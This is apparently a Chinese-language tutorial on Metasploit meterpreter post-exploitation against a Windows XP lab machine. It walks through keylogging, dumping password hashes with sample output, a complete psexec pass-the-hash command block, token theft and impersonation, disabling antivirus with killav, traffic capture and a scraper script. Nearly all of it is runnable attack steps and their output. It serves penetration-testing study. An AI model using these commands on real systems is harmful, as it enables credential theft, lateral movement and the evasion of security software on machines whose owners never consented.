meterpreter是Metasploit框架的一个扩展模块,可以调用Metasploit的一些功能,对目标系统进行更为深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等等

介绍meterpreter功能特性之前首先攻陷一台系统并取得一个Meterpreter shell,然后再利用meterpreter作为攻击载荷,展示它在进入目标系统后的一些其他攻击方法和技术,这里展示xp,攻击过程前一篇已经写过不再赘述,直接到达取得Meterpreter shell界面

基本命令

screenshot:获取目标系统活动用户的桌面截图并保存至攻击机

sysinfo:获取系统运行的平台

ps:获取目标系统正在运行的进程

获取键盘记录

使用migrate命令将会话迁移至explorer.exe的进程空间中

启动keylog_recoder模块,一段时间后使用ctrl+v终止

可以看到记录被保存在了txt文件中,内容正是记录期间目标靶机的键盘使用记录

挖掘用户名和密码

除了上述键盘记录可以获取用户密码等敏感信息之外,Meterpreter也可以获取系统本地文件中的用户名和密码

获取密码哈希值

使用use priv命令,意味着运行在特权账户上,使用hashdump命令可以获取目标系统所有的用户名和密码哈希值

传递哈希值

虽然我们提取到了用户名和密码的哈希值,但如果密码设置复杂,我们就不能在可接受的时间内将明文密码破解出来。如果不知道明文密码,如何通过这个用户账号登录到更多的主机呢。

这里将用到哈希传递技术,仅仅有密码的哈希值就够了,而不需要将密码明文,Metasploit的windows/smb/psexec模块就可以实现

1
2
3
4
5
6
7
8
9
use exploit/windows/smb/psexec 
show options
set RHOST 192.168.48.134
set LHOST 192.168.48.128
set LPORT 443
set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
set SMBUser Administrator
show options
run

令牌假冒

使用ps可以看到目标靶机的进程以及运行这些应用的用户账号

使用steal_token命令和PID参数来盗取管理员用户的令牌

现在Metasploit是以管理员用户来运行的了。

有时候ps不能列出域管理员运行的进程,我们可以使用incognito命令列举出系统上可以利用的令牌

通过use incognito命令加载incognito模块,然后通过list_token -u命令列举出令牌

然后使用impersonate_token命令扮演令牌,注意这里要用两个斜杠

现在就成功假冒为管理员并具有相应权限了。

使用Metasploit脚本

通过run [name]命令可以在Meterpreter终端中执行扩展脚本,下面列出几个常用脚本

run vnc:将受控系统的桌面通信通过隧道方式映射过来,使得你可以访问到图形化桌面

run post/windows/manage/migrate:将Metasploit会话迁移至内存空间的其他稳定的,不会被关闭的服务进程中,以维持稳定的系统控制连接

run killav:可以关闭某些智能化防毒软件和主机入侵防御产品

run hashdump:获取密码哈希值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
meterpreter > run hashdump 
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY a4a0fd97de24e4ad0028b54c7dd055d0...
/usr/share/metasploit-framework/lib/rex/script/base.rb:134: warning: constant OpenSSL::Cipher::Cipher is deprecated
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
/usr/share/metasploit-framework/lib/rex/script/base.rb:268: warning: constant OpenSSL::Cipher::Cipher is deprecated
/usr/share/metasploit-framework/lib/rex/script/base.rb:272: warning: constant OpenSSL::Cipher::Cipher is deprecated
/usr/share/metasploit-framework/lib/rex/script/base.rb:279: warning: constant OpenSSL::Cipher::Cipher is deprecated
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:b3d8d3ca5e354eb1eee90cccd2029f2d:99418b20ca08597feaadf1959619e0a2:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:2098344bc829d0d369d7d324bf8eb16c:::
blacknight:1005:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

run packetrecorder -i 1:查看目标机的所有流量

run scraper:scraper可以列举出系统上的绝大部分信息,可以获取用户名和密码,下载全部注册表,挖掘密码哈希值,收集系统信息等等